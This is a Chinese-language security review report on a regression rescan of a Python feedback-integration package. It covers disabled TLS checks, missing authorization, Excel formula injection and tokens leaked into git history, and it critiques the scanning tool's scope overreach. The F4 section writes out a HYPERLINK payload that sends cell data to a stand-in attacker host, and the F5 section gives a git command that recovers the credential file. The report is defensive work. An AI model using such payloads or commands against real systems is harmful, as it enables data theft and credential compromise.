J3 檢查結果:有改動的整合與附件層(回歸重掃)

J3 檢查結果:有改動的整合與附件層(回歸重掃)

檢查日期 2026-09-16|對應卡片 CM-1828|檢查範圍 25 個檔案

§1

🔴 一句話結論

淨新增 0 條——工具報的 5 條裡,2 條是舊案重複、2 條越界到別人的範圍、1 條被系統拒絕寫進正式報告。 但這一棒真正的收穫是回答了卡片問的兩個問題:FR-081 的舊結論全部仍然成立、一條都沒被修掉(verify=False 兩處還在、CM-1633 的半套守門一行沒改),而**「同一批檔重掃會不會給出一致結論」的答案是:會,而且一致到近乎逐字相同**——這對工具的可信度是好消息,對「重掃能不能挖出新東西」則是壞消息。

現況:本棒確認未修的 CM-1632/CM-1633 → ✅ 已修(CM-2066,1.21.0 出貨);CM-1630 → ✅ 已修(FR-114.1-7/CM-2030);CM-1607 → ✅ 已修(CM-2048)。以下「仍成立/未修」是 09-16 掃描當下的狀態。

§2

這一棒在檢查什麼

使用者在產品裡送「意見回饋」時,系統除了存進自己的資料庫,還可以同時去 GitHub 或 GitLab 開一張真的問題單,把附件一起送過去,也可以從第三方把專案成員名單拉回來。這一棒看的就是這段「跟外面的系統打交道」的程式。

這 25 個檔在 FR-081(2026-09-10)掃過一次,之後 FR-099 把主專案的意見回饋整組搬進套件時改了大約 120 行。所以這一棒有兩個目的:

  1. 回歸確認——舊結論在新版還成不成立,有沒有修了什麼或弄壞什麼。
  2. 方法驗證——第一次對同一批檔重掃,看工具會不會給出一致的結論。

掃描目標 /Users/chouraymond/Projects/Jedicogy/module/jedi-python-package/jedi-issue,revision 3cc966f8488d(branch feature/review,工作區乾淨),mode scan,scope 25 個明確列出的檔案,effort low,focus attack-surface。

§3

Coverage

low 強度:一位研究員讀完 25 個檔案提報候選,加上因為有設 focus 而多跑的一次密鑰專項掃描;未做元件盤點、未做威脅建模、未跑廣度掃描,completenessCheckOutcome 為 not-applicable(掃指定範圍本就不跑盤點)。派出 2 位研究員、2 位都回報。驗證跑 1 輪、6 個候選去重後仍是 6 個,沒有候選遺失、沒有嚴重度被降低。本次 coverage.research 是空的,所以沒有「哪些檔讀過、哪些沒讀」的記錄——範圍內某個檔沒有發現,只代表沒有人對它提出發現,不代表它被證明乾淨。

🔴 工具嚴重越界:5 條發現裡只有 1 條在指定範圍內。 對照如下:

發現 檔案 在範圍內嗎
F1 infra/issue/adapter/github/github_issue_adapter.py ✅ 是
F2 api/routes/feedback_route.py ❌ 屬 J1
F3 infra/github.py ❌ 屬 J1
F4 app/feedback/service/feedback_service.py ❌ 屬 J1
F5 jedi_issue/.env(已刪,從版控歷史撈出) ❌ 不在任何範圍

這與 J2 的形狀幾乎一樣(J2 是 4 條全越界)。研究員追脈絡會跑出範圍,而檢查員只驗「這條成不成立」、不驗「這條在不在範圍內」——這是工具的固定盲點,要靠人工比對範圍清單挑掉。

工具沒有實際執行任何程式碼:沒跑測試、沒發請求給 GitHub 或 GitLab、沒示範攻擊。所有發現都是讀原始碼、讀已安裝的 PyGithub 套件、讀 git 歷史推出來的。

§4

掃到什麼:總覽表

# 嚴重度 這是什麼問題 出事會怎樣 要先有什麼才打得到 在哪裡 判定
F1 🟡 中 連 GitHub 時不檢查對方是不是真的 GitHub 網路中間人可假冒 GitHub,把公司的 GitHub 存取權杖整個拿走 ①管理員已開啟 GitHub 整合(出貨預設關閉)②攻擊者要站在伺服器對外連線的路徑上 github_issue_adapter.py:40 重複 CM-1632,位置行號更新(原報 43 行、現為 40 行)
F2 🟡 中 意見回饋的查、改、刪只驗有沒有登入,不驗有沒有權限、也不驗是不是本人的 任何登入者都能看光、改掉、刪掉全公司所有人的意見回饋 持有這家客戶的任一帳號,直接打 API(不走前端) feedback_route.py:94 越界(屬 J1)+重複 CM-1630,不另計
F3 🟡 中 同 F1 的另一處——共用的連線工廠 同 F1。只修一處沒用,權杖還是會從另一條路漏出去 同 F1 infra/github.py:22 越界(屬 J1)+重複 CM-1632,不另計
F4 🟡 中 意見回饋匯出成 Excel 時,沒有處理「等號開頭」的內容 攻擊者在標題塞一條試算表公式,管理員匯出並打開檔案時那條公式會執行 ①任何能送回饋的登入者②管理員要匯出並用桌面試算表軟體打開 feedback_service.py:378 越界(屬 J1)+重複 J1 的 F4(已登記總表第 82 項),不另計
F5 ⚪ 低 舊的開發設定檔(裡面有 GitHub/GitLab 密碼)還留在版控歷史裡 拿得到程式碼倉庫的人可以把密碼挖出來 讀得到 monorepo 的 git 歷史,或拿得到 Nexus 上兩個舊版套件檔 jedi_issue/.env(已從最新版刪除) 重複 CM-1573/CM-1607 舊案,且被系統拒絕寫進正式報告(見下)

這一棒的淨新增:0 條。

§5

每條發現的詳述

F1 — 連 GitHub 沒檢查對方身分(中,可信度高)|重複 CM-1632

這是什麼問題。 你上網買東西時,瀏覽器會檢查「這個網站是不是真的 PChome」,靠的是一張數位證書。這個檢查如果關掉,任何人都能假冒 PChome,而你會把信用卡號送給他。這支程式就是把這個檢查關掉了,然後把公司的 GitHub 存取權杖(相當於帳號密碼)送出去。

出事會怎樣。 站在網路路徑上的人(公用 Wi-Fi、被入侵的公司網路設備、被動手腳的對外代理伺服器)可以假冒 GitHub,把公司的 GitHub 存取權杖整個拿走。那把權杖能做什麼取決於它的權限範圍,通常足以讀寫公司所有的程式碼。同一個位置也能竄改回傳給產品的問題單內容。

要先有什麼才打得到。

  • 管理員已在後台開啟 GitHub 整合並填入權杖。出貨預設是關閉的,所以這是非預設設定。
  • 攻擊者要能站在伺服器連往 api.github.com 的路徑上。

在哪裡。 jedi_issue/infra/issue/adapter/github/github_issue_adapter.py:40,GitHubIssueAdapter.init_config 裡的 Github(auth=auth, per_page=100, timeout=10, verify=False)。

怎麼修。 拿掉 verify=False,讓套件用預設值(會檢查)。如果當初加這個是因為要連公司內部自架的 GitHub Enterprise、憑證是自簽的,正確做法是把憑證檔的路徑做成設定項,傳 verify="/path/to/ca.pem",而不是整個關掉檢查。必須與 F3 一起修——只修一處,權杖還是會從另一條路漏出去。

驗證。 三位檢查員(可達性/影響/防禦)3:0 全票確認。他們一路追進已安裝的 PyGithub 2.6.1,確認這個旗標真的傳到底層網路連線(MainClass.py:261 → Requester.py:452,539),且 requests 只有在旗標是 True 或 None 時才會恢復系統憑證庫,False 會一路保留。

首腦核對註記。 屬實,開檔逐行看過。這就是 CM-1632,只是行號從 43 變成 40(FR-099 搬家時檔案上方少了三行)。FR-081 報過至今未修。

F2 — 意見回饋的查改刪只驗登入(中,可信度高)|越界+重複 CM-1630

這是什麼問題。 「誰能做什麼」的權限設定只做在前端選單上——沒有權限的人看不到那個按鈕,但只要他直接對後端發請求,後端完全不檢查,照做不誤。而且也不檢查「這筆回饋是不是他自己送的」。

出事會怎樣。 公司裡任何一個登入的人(包含角色被刻意限制、什麼回饋權限都沒給的帳號)可以:列出全公司所有人送過的意見回饋、把別人的回饋標題內容改掉、刪掉別人的附件、直接把回饋整筆刪除。這是資料完整性與可用性的損失,加上別人回報內容的外洩,而且讓權限表上寫給管理員看的那條限制形同虛設。

要先有什麼才打得到。

  • 持有這家客戶的任一有效登入憑證。
  • 直接呼叫 API,不走前端(前端是目前唯一有在遵守權限的地方)。

在哪裡。 jedi_issue/api/routes/feedback_route.py:94(FeedbackRoute.delete)。整條路上只有 @auth_required,宿主把它接成單純的「有沒有登入」(core/plugins/_host.py:208),服務層與領域層都沒有比對 created_user 與呼叫者。需要的編號可以從清單端點拿到,因為清單端點(feedback_route.py:35-46)同樣只驗登入。套件自己的契約測試把現況寫死了:tests/unittest/test_plugin_contract.py:148 斷言有守門的端點就只有 FeedbackExportRoute.post 一支。

怎麼修。 照 FeedbackExportRoute 既有的形狀,在查、增、改、刪四支加 @capability_required(...),權限名稱從 plugin/contract.py:CAPABILITIES 取(維持單一來源)。另外在 FeedbackService 的 update_feedback() / delete_feedback() / delete_feedback_file() 加「是不是本人」的檢查。

驗證。 3:0 全票確認。

首腦核對註記。 屬實,但這是 J1 的範圍(api/ 整層屬 J1),且就是 CM-1630。J1 已報過並驗收過,不另計。

F3 — 共用連線工廠也沒檢查對方身分(中,可信度高)|越界+重複 CM-1632

這是什麼問題。 與 F1 同一個毛病,在另一支檔案。這支是「共用的連線工廠」——附件功能和成員查詢都會呼叫它建連線。

出事會怎樣。 同 F1:權杖被中間人攔走,且回傳的問題單與成員資料可被竄改。

要先有什麼才打得到。 同 F1(整合要開啟、攻擊者要在路徑上)。

在哪裡。 jedi_issue/infra/github.py:22,get_github_client 的 return Github(auth=auth, per_page=100, timeout=10, verify=False)。這是與 F1 不同的第二處硬寫死,不是同一行被看到兩次。

怎麼修。 同 F1。兩處要一起修。

驗證。 3:0 全票確認。

首腦核對註記。 屬實,但 infra/github.py 屬 J1 範圍(越界),且就是 CM-1632 的第二處。FR-081 I1 當時就把這兩處一起報進 CM-1632,不另計。

F4 — 匯出 Excel 沒處理等號開頭的內容(中,可信度中)|越界+重複

這是什麼問題。 試算表軟體看到「=」開頭的格子會當成公式去執行。程式把使用者填的回饋標題原封不動寫進格子,所以使用者可以塞一條公式進去,等著別人打開檔案時執行。

出事會怎樣。 低權限的使用者可以在標題塞 =HYPERLINK("https://攻擊者網站/x?d="&C2,"點我看詳情"),管理員匯出報表、打開檔案、點了那個看起來無害的連結,隔壁格子的內容就被送到攻擊者的主機。另一種寫法(DDE)可以在管理員的電腦上執行指令,但那個會跳警告視窗、要管理員自己按同意。

要先有什麼才打得到。

  • 任何能送回饋的登入者。
  • 要有握有匯出權限的人(通常是管理員)真的匯出,並用桌面試算表軟體打開。
  • 執行指令那種變體還要管理員按掉警告;偷資料那種只要點一下連結。

在哪裡。 jedi_issue/app/feedback/service/feedback_service.py:378(FeedbackService.export_feedbacks)。路徑上唯一的處理是 html_to_text,它只拔 HTML 標籤,開頭的等號原封不動留著;而 openpyxl 看到等號開頭會主動把格子標記成公式(cell.py:198-199)。

怎麼修。 寫進格子之前,把開頭是 =、+、-、@、Tab、換行的值前面加一個單引號。CSV 跟 Excel 兩條路都要套同一個處理函式,每個欄位都要(包含標籤來的「功能」欄)。

驗證。 3:0 全票確認。可信度標「中」而非「高」,是因為能不能得手取決於受害者用哪套試算表軟體、以及他對警告視窗的反應——這兩件事程式碼管不到。

首腦核對註記。 屬實,但 app/feedback/ 屬 J1 範圍(越界),且 J1 已報過同一條並登記為總表第 82 項,不另計。

F5 — 舊設定檔的密碼還在版控歷史(低,可信度低)|重複舊案+被系統拒收

這是什麼問題。 很久以前有人把一個開發用的設定檔提交進版控,裡面寫著 GitHub 和 GitLab 的存取權杖。後來檔案被刪掉了,但版控的歷史紀錄還留著那份內容——任何人 clone 這個程式碼倉庫,都能把它撈回來。

出事會怎樣。 如果那兩把權杖沒有真的作廢,拿到的人可以存取公司的 GitLab 和 GitHub 倉庫。

要先有什麼才打得到。

  • 讀得到 monorepo 的 git 歷史,或拿得到 Nexus 上 jedi-issue 0.0.14/0.0.15 這兩個舊版套件檔(那兩包是在防護措施加上去之前打的,裡面還夾著這個檔)。
  • 權杖要還有效。刪除的那筆 commit 訊息宣稱已經作廢,但這件事從程式碼看不出來——這就是可信度標「低」的原因。

在哪裡。 jedi_issue/.env 第 4 行(GitLab)與第 8 行(GitHub),已從最新版刪除,可用 git show 5e3b9a3:jedi-issue/jedi_issue/.env 撈出。檢查員確認這個內容從 origin/main 可達、歷史沒有被重寫過,所以每一份 clone 都帶著它。

怎麼修。 先用其他管道確認兩把權杖真的作廢了。把 Nexus 上 0.0.14/0.0.15 兩包下架。保留 pyproject.toml 的排除設定,並加一個提交前的密鑰掃描,避免開發者的 .env 再次進版控。

驗證。 3:0 全票確認。

🔴 但這條被系統拒絕寫進正式報告,也是這次驗證章蓋 unverified 的唯一原因。 產出工具的規則是「發現指向的檔案必須在掃描的樹裡看得到」,而這個檔已經刪了,所以它被擋在 JSONL 與 SARIF 之外,只留在人看的報告裡。這不是投票失敗——6 個候選全部投完、18 票零漏投。要分清楚:unverified 在這裡的意思是「有一條發現沒被寫進機器可讀的檔案」,不是「這次檢查沒跑完」。

首腦核對註記。 屬實,但這是 CM-1573 舊案、已併入 CM-1607。FR-081 的 I1 與 I3 都撈到過同一條。不另計。

§6

卡片重點逐項人工查證

工具不照卡片清單走,所以七個重點逐項自己開檔查。工具只碰到其中兩項(①的一半、②),其餘五項全部是人工查證。

① GitHub 附件降級改法(工具未報,人工查證)

做了什麼改動。 舊版拋 NotImplementedError → 上游用 except Exception 吞掉 → 整張問題單連標題內文一起沒建立。新版改成:問題單照常建立、附件跳過、逐檔記一行 WARNING。

卡片問的三件事,逐項答:

(a)跳過時使用者端知不知道?——不知道。 github_issue_attachment.py:104-111 只寫進伺服器的 log,回傳空清單。使用者端看到的是「回饋送出成功」,畫面上沒有任何地方告訴他附件沒有送出去。他以為附件跟著送了,實際上沒有。

(b)WARNING 印的是檔名還是含內容?——只有檔名,沒有內容。 第 103 行是 skipped = [getattr(f, "filename", "<unnamed>") for f in files],只取檔名。這點是安全的——附件內容不會進 log。但要注意檔名本身是使用者可控的字串,會原樣進 log。

(c)「靜默降級但有 log」與「明確拒絕」哪個才對?——這是產品決策,不是技術問題,標明待裁。

兩邊的理由都成立:現在這樣做,至少問題單本體建得起來(舊版是整張單都沒了,明顯更糟);但使用者被誤導以為附件送到了,而管理員要翻伺服器 log 才知道發生過。第三條路是比較好的:照常建立問題單、但在回應裡帶一個「附件未能送出」的提示,讓前端顯示。這需要改回應格式,屬產品決策。

模組 docstring 已經把「為什麼不能補上上傳功能」寫清楚了(GitHub 沒有可用存取權杖呼叫的附件上傳 API,唯二官方途徑語意都錯位),這段判斷首腦核對過,屬實、不需重議。要議的只有「使用者端要不要看得到」。

② CM-1632 兩處是否仍在+GitLab 側有沒有同款(工具報了一半,人工補完)

GitHub 兩處仍在,一行未改:

jedi_issue/infra/github.py:22                                 verify=False
jedi_issue/infra/issue/adapter/github/github_issue_adapter.py:40  verify=False

GitLab 側沒有同款問題。 開檔查過 infra/gitlab.py 與 gitlab_issue_adapter.py,gitlab.Gitlab() 建構時沒有傳 ssl_verify 參數,套件預設是會檢查的。grep 整包也只有上面那兩處命中。這是好消息:問題只在 GitHub 這半邊。

③ 上游吞例外時會不會把權杖或網址帶進 log(工具未報,人工查證)

本棒範圍內零命中。 grep 這 25 個檔的 except Exception、logger.warning、logger.error、f"{e}" —— 一個都沒有。也就是說,GitLab/GitHub adapter 遇到錯誤是直接把例外往上拋,不在這一層做任何記錄或格式化。

所以「被吞的那一側會外洩什麼」這個問題,在這一棒的範圍內不成立——外洩風險(如果有)在 J1 那側的 feedback_service.py 六處 except Exception: logger.warning,取決於它怎麼格式化拋上來的例外。那六處屬 J1 範圍,本棒不越界處理,但這個交接點要記下來:adapter 拋的例外物件裡可能帶有第三方回應原文(PyGithub 的 GithubException 就帶完整回應 body),J1 那側若用 f"{e}" 格式化就會整段進 log。

⚠️ 補充:project_member/adapter 兩支的確有 except Exception as e: logger.error(f"Failed to ...: {e}")(GitHub 的 remove_project_member、GitLab 的三支)。這些在範圍內。查過它們捕捉的是 PyGithub/python-gitlab 的例外,訊息裡會帶第三方 API 的回應內容,但不會帶權杖本身(權杖在請求標頭裡,不在回應裡)。判定:不是外洩權杖的路徑,但會把第三方回應原文寫進 log,與總表既有的「log 印 request body」follow-up 同類,不另計。

④ 附件路徑與檔名(工具未報,人工查證)

(a)CM-1633「刪除檢查半套」在哪一支、修了沒?——在 local_issue_attachment.py,一行未改。

實查 local_issue_attachment.py 的行號與現況:

第 87 行   matched_file_uids = file_uids_set & issue_file_uid_set   ← 算出「真的屬於這張單的」
第 88 行   if not matched_file_uids: return False                   ← 只要有一個對得上就放行
第 91 行   delete_issue_file_mapping(file_uids=list(matched_file_uids))  ← 用【過濾後】的 ✅
第 98 行   self.file_upload_service.delete_files(file_uids)              ← 用回【沒過濾】的 ❌

與 FR-081 I3 首腦當時描述的一模一樣,只是行號從 85/88/90/92/99 位移到 83/87/88/91/98。CM-1633 至今未修。

(b)本地存檔路徑怎麼組,檔名可控會不會路徑穿越?——路徑本身安全。 local_issue_attachment.py:52 是 save_dir = os.path.join("issue", issue_uid),只用 issue 編號組目錄,沒有把使用者提供的檔名接進路徑。檔名的處理在 jedi_file_upload 套件裡(本棒範圍外),這裡只是把 FileStorage 整個交出去。判定:這 25 個檔裡沒有路徑穿越的入口。

(c)GitLab upload() 回的連結會不會原樣進 issue 內文?——會,但這是 GitLab 自己產的網址,不是使用者可控的。 gitlab_issue_attachment.py 的 upload_attachment 把 uploaded_file["url"] 直接組進留言內文 "附件連結 [attached file]({})"。那個網址由 GitLab 伺服器回傳(格式 /uploads/<hash>/<檔名>),檔名那一段來自使用者。理論上檔名含 ) 可以破壞 Markdown 連結語法,但影響僅止於該留言顯示錯亂,不構成資安問題(GitLab 那側自己會處理跳脫)。判定:不另計。

⑤ 成員 adapter 與 CM-1807 修正(工具未報,人工查證)

(a)CM-1807「查無回 None」修好了,呼叫端有處理。 member_repostiory.py:35-38 有明確的防護與註解(「查無此人不可丟給 mapper——to_entity 第一行就存取 .uid,會 AttributeError(CM-1807)」)。update() 與 delete() 同樣都先檢查 if not member 再動作。這條已修,沒有回歸。

(b)第三方成員清單拿回來存哪、有沒有租戶欄?——存進 members 表,🔴 沒有租戶欄,確認總表第 7 項成立。

實查 infra/member/models/member.py:Members 表的欄位是 id / uid / project / username / email / role / type / enabled,沒有 tenant_id、沒有 org_unit_id,任何可以區分「這筆屬於哪家客戶」的欄位都沒有。流程是 ProjectMemberService.sync_project_members() 從 GitHub/GitLab 拉回成員後,整批寫進這張表(member_repostiory.py:create)。

這代表什麼:如果同一套系統服務多家客戶,A 公司同步進來的 GitHub 成員名單與 B 公司的會混在同一張表裡,而且分不開。這正是總表 §3.1 第 7 項所描述的狀況,本棒從資料表定義這一側再次確認,不另計新項。

⑥ 兩個 entity 改成 dataclass 後,必填有沒有變選填(工具未報,人工查證)

沒有,兩支都維持原樣,而且檔頭有明確註解守著這件事。

  • MemberEntity:前五個欄位 project / username / email / role / type 都沒有預設值(漏傳會當場 TypeError),只有 uid 是 Optional[str] = None。檔頭註解明寫「不可順手給前五個補預設值——那會把『漏傳』從當場炸掉變成安靜存進一筆空欄位的成員」。
  • IssueUploadFileEntity:issue_uid 與 file_uid 兩個都沒有預設值。

判定:沒有踩到 FR-095 P1 §3.2 第 17 項那種「查無回固定空值讓權限測試假通過」的同型問題。改 dataclass 的那一棒守住了。

⑦ 一致性對照:FR-081 舊結論在新版還成不成立

這是卡片問的核心問題。逐條列:

FR-081 的結論 本棒工具說 本棒人工查證說
I1 第 1 條:github_issue_adapter.py 關掉憑證檢查(CM-1632) ✅ 仍成立(報為 F1,行號 43→40) ✅ 仍成立,開檔確認
I1 第 2 條:infra/github.py 關掉憑證檢查(CM-1632) ✅ 仍成立(報為 F3) ✅ 仍成立,開檔確認
I1 第 3 條:.env 密碼留在版控歷史(CM-1607) ✅ 仍成立(報為 F5) ✅ 仍成立
I3:工具在 14 檔內 0 條新發現 ✅ 一致——本棒工具在附件相關檔案裡同樣 0 條新發現 —
I3 首腦補查的 CM-1633(刪除守門半套) ❌ 工具再次沒報(與 FR-081 當時三位檢查員 3:0 否決一致) ✅ 仍成立且未修,一行未改
I5 第 4 條:內部套件倉庫走明文 HTTP(CM-1634) ➖ 不適用(pyproject.toml 不在本棒範圍) ➖ 未查

方法驗證的答案:工具重掃給出的結論高度一致。 三條會落在本棒範圍附近的舊發現,工具全部重新找到,連嚴重度判定(都是 MEDIUM)、修法建議都幾乎逐字相同。這對工具的穩定性是好消息。

但同時要看清楚另一面:重掃沒有挖出任何新東西,而且工具第二次一樣沒報 CM-1633。 那個「算了過濾結果卻只用一半」的錯誤擺在那裡兩次,兩次都沒被報出來——因為檢查員的推論停在「現在打得到嗎」,答案是打不到(只有一個呼叫點、只傳一個編號進來),所以判定不成立。這印證了首腦手冊第三節第 4 點:報出來的都真,沒報的不保證。

§7

這份結果可信到什麼程度

分兩層講,兩層差很多。

第一層:「報出來的這些是真的嗎?」——可信度高。

6 個候選全部走完三位檢查員投票,18 票零漏投,5 條 3:0 通過、1 條 0:3 駁回。首腦對 5 條全部開檔核對,位置與描述都對得上。人工查證的七個重點也全部是開檔看到的事實,不是推論。

關於驗證章上的 unverified:原因很單純且無害——F5 指的檔案已經從最新版刪掉,產出工具規定「發現指向的檔案要在樹裡看得到」,所以拒收它、章就蓋 unverified。投票本身是完整的。 不要把這個標記讀成「這次檢查沒跑完」。

第二層:「是不是只有這些?」——可信度低,這一棒對指定範圍的覆蓋不足。

三個理由:

  1. 🔴 工具在指定的 25 個檔裡只產出 1 條發現,其餘 4 條都跑到範圍外。 與 J2(4 條全越界)是同一個形狀。所以對這 25 個檔,工具的實際覆蓋非常薄——這份報告裡關於這 25 個檔的結論,主要來自首腦人工查證的七個重點,而人工查證只覆蓋卡片列的重點,沒有掃過重點以外的角落。
  2. 沒有讀取軌跡記錄。 本次 coverage.research 是空的,無法回答「哪些檔讀過、哪些沒讀」。
  3. 這個套件的註解極度詳盡且處處自我辯護——幾乎每個可疑設計旁邊都有一段說明為什麼它是安全的(附件降級、adapter 註冊不可刪、dataclass 欄位順序、regex 的反斜線陷阱)。這次抽查的幾處都屬實,但正因為讀起來很有說服力,工具容易被說服而不去驗證。J2 報告已經記過這個現象,本棒再次觀察到。

結論:這 25 個檔不能算「掃過且乾淨」,只能算「回歸確認完成——舊結論全部仍成立、沒有新增問題被找出來」。 回歸這個目的達成了;「只有這些嗎」這個問題,這一棒答不了。

§8

執行概況(數字表,工程師看的)

項目 數字
檢查範圍 25 個明確列出的檔案(整合 adapter 6+附件 4+成員 4+app 服務 3+entity 2+DTO 與 __init__ 6)
檢查強度 最低(low),focus attack-surface(跳過測試與第三方目錄,另跑一次密鑰專項掃描)
候選問題 → 去除重複 6 → 6
投票數 18(6 條候選 × 3 位檢查員),全數投出、沒有漏投
投票結果 F1/F2/F3/F4/F5 全部 3:0 通過;1 條 0:3 駁回(見下)
被駁回的候選 1 條——指 local_issue_attachment.py:98 的 file_uids 未過濾。三位檢查員一致認為「唯一的呼叫路徑只傳一個編號進來,所以現有檢查等於完整過濾」。這正是 CM-1633,第二次被工具否決。首腦維持 FR-081 的判定:程式本身寫錯了,只是現在打不到。 編號跳號(F1–F5 卻有 F6 存在過)就是因為它被駁回
沒投到票的/投票中斷的/被降低嚴重度的 0/0/0
研究員派出/回收 2/2
驗證章狀態 unverified(唯一原因:F5 的檔案已刪,被產出工具拒收,投票完整)
掃描耗時 8093 秒(約 2 小時 15 分)
掃描當下的程式碼版本 commit 3cc966f8488d,branch feature/review,工作區乾淨
scan_id / workflow run b22e038e-3345-4b81-9fbd-99a6da2bf89e / wf_876d07d8-2d1
報告落點 jedi-issue/CLAUDE-SECURITY-20260916-110741/(該目錄有自己的 .gitignore,不進版控)
🔴 範圍內發現 1 條(F1,且為 CM-1632 重複);其餘 4 條越界
🔴 淨新增 0 條
首腦人工補查 卡片七個重點逐項查證,其中五項工具完全沒碰
對總表的影響 無新增項目;確認第 7 項(members 表無租戶欄)成立、CM-1630/CM-1632/CM-1633/CM-1607 四張舊卡掃描當時全部未修(現況:皆已由新卡修掉,見上方現況)
§9

待決策者裁示

  1. GitHub 附件跳過時,要不要讓使用者看得到?(重點①c)現在是問題單照建、附件靜默跳過、只寫伺服器 log,使用者以為附件送到了。建議第三條路:回應裡帶「附件未能送出」讓前端顯示。屬產品決策,要改回應格式。
  2. 這 25 個檔要不要重掃一次。 工具本次實際覆蓋很薄(範圍內只產出 1 條,且是已知舊案)。但要先想清楚重掃能得到什麼——本棒已證明工具對同一批檔會給出高度一致的結論,再掃一次大機率還是這幾條。若要提高覆蓋,該換的是方法(例如限制工具不得越界、或改用人工逐檔審),不是重跑同一套。
  3. CM-1632/CM-1630/CM-1633 三張舊卡要不要排修。 本棒確認當時全部未修(現況:已修,CM-2066/FR-114.1-7)。其中 CM-1632(兩處 verify=False)修法明確、風險低、兩行就好;CM-1633 更是一行。